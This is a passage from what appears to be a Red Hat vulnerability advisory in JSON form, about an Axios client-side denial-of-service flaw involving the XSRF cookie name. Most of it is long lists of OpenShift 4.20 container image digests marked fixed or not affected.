"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487943"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios. A remote attacker, by influencing the XSRF cookie name in a browser environment, could cause the application to construct a regular expression that leads to excessive processing. This can result in a client-side Denial of Service (DoS), where the affected browser tab may freeze, impacting the availability of the application for the user.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Client-side Denial of Service via unescaped regex metacharacters in XSRF cookie name",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This Important flaw in Axios can lead to a client-side Denial of Service. An attacker capable of influencing the XSRF cookie name within a browser environment could trigger excessive regular expression processing, causing the affected browser tab to freeze and degrade user availability. This issue specifically impacts browser-based applications and does not affect Node.js HTTP adapter usage, React Native, or web workers.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le"
],
"known_not_affected": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
